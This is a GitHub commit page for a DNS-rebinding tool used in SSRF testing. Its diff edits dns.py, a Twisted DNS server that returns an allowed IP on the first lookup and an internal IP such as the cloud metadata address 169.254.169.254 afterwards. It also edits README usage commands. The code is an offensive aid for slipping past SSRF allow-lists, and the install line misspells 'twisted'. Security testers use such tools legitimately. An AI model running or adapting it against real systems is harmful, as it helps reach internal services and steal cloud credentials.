Skip to content

Commit

Permalink
-
Browse files Browse the repository at this point in the history
  • Loading branch information
cujanovic committed Jun 1, 2017
1 parent 771578e commit beb7256
Show file tree
Hide file tree
Showing 2 changed files with 21 additions and 9 deletions.
4 changes: 3 additions & 1 deletion README.md
Original file line number Diff line number Diff line change
Expand Up @@ -94,7 +94,9 @@ nslookup ssrf-race-169.254.169.254.localdomain.pw

pip install twised

python dns.py
python dns.py WhitelistedIP InternalIP Port

python dns.py 216.58.214.206 169.254.169.254 53

http://webcache.googleusercontent.com/search?q=cache:http://www.611eternity.com/DNSRebinding%E6%8A%80%E6%9C%AF%E5%AD%A6%E4%B9%A0/

Expand Down
26 changes: 18 additions & 8 deletions dns.py
Original file line number Diff line number Diff line change
Expand Up @@ -13,6 +13,9 @@
dict = {}
dont_print_ip_range = '74.125.0.0/16'
FILENAME = "dns-log-" + str(datetime.datetime.now().strftime("%H-%M-%S.%f-%d-%m-%Y"))+'.log'
WHITELISTEDIP = ''
INTERNALIP = ''
PORT = 53

def OpenLogFile():
global f
Expand All @@ -28,9 +31,9 @@ def CloseLogFile():
def search_file_for_all(hosts_file, name):
results = []
if name not in dict or dict[name] < 1:
ip = '216.58.214.206'
ip = WHITELISTEDIP
else:
ip = '169.254.169.254'
ip = INTERNALIP
if name not in dict:
dict[name] = 0
dict[name] += 1
Expand Down Expand Up @@ -105,13 +108,20 @@ def main(port):
clients=[create_resolver(servers=[('8.8.8.8', 53)], hosts='hosts')],
)
protocol = PrintClientAddressDNSDatagramProtocol(controller=factory)
reactor.listenUDP(port, protocol)
reactor.listenTCP(port, factory)
reactor.listenUDP(PORT, protocol)
reactor.listenTCP(PORT, factory)
print('------------------------------------------------------------------------------------------------')
print("DNS Server started...\nListening on port: "+ str(PORT) +"\nLog file name: "+ FILENAME +"\nNot showing/logging requests from IP range: "+ dont_print_ip_range)
print('------------------------------------------------------------------------------------------------\n\n')
reactor.run()

if __name__ == '__main__':
if len(sys.argv) < 2 or not sys.argv[1].isdigest():
port = 53
if len(sys.argv) != 4:
print("Usage: python "+sys.argv[0]+" WhitelistedIP InternalIP Port")
print ("Example: python "+sys.argv[0]+" 216.58.214.206 169.254.169.254 53")
exit(1)
else:
port = int(sys.argv[1])
main(port)
WHITELISTEDIP = sys.argv[1]
INTERNALIP = sys.argv[2]
PORT = int(sys.argv[3])
main(PORT)

0 comments on commit beb7256

Please sign in to comment.